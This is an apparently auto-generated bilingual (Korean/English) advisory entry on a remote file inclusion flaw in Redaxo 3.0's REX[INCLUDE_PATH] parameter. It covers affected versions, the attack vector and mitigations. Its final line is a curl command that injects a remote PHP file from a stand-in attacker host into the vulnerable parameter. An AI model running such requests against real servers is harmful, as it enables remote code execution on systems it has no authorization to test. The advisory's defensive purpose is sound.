🇰🇷 한글 설명
Redaxo 3.0에서 REX[INCLUDE_PATH] 파라미터를 통한 원격 파일 포함(RFI) 취약점이 발견되었습니다. 공격자는 악의적인 PHP 파일을 원격으로 로드하여 임의의 PHP 코드를 서버에서 실행할 수 있습니다.
💡 쉬운 설명
웹 애플리케이션이 외부 파일을 안전하게 검증하지 않고 로드하는 문제입니다. 공격자가 자신의 서버에서 악의적인 파일을 지정하면 웹 서버가 이를 실행하여 완전히 장악당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Redaxo 3.0 allow remote attackers to execute arbitrary PHP code via a URL in the REX[INCLUDE_PATH] parameter to (1) simple_user/pages/index.inc.php and (2) stats/pages/index.inc.php.
📍 영향받는 시스템
Redaxo 3.0 및 그 이전 버전
⚔️ 공격 벡터
HTTP GET/POST 요청으로 REX[INCLUDE_PATH] 파라미터에 원격 URL을 주입하여 PHP 코드 실행
🛡️ 대응 방법
Redaxo를 패치된 최신 버전으로 업그레이드하고, 입력 검증, 파일 포함 제한, 안전한 파일 경로만 허용하는 화이트리스트 구현
🔧 검증 코드
취약한 시스템에서는 원격 파일의 PHP 실행 결과 또는 PHP 에러가 응답에 포함되며, 패치된 시스템은 요청을 거부하거나 에러 없이 정상 응답합니다.
curl -s 'http://target/simple_user/pages/index.inc.php?REX[INCLUDE_PATH]=http://attacker.com/test.php' 2>&1 | grep -i 'php\|error\|warning' | head -5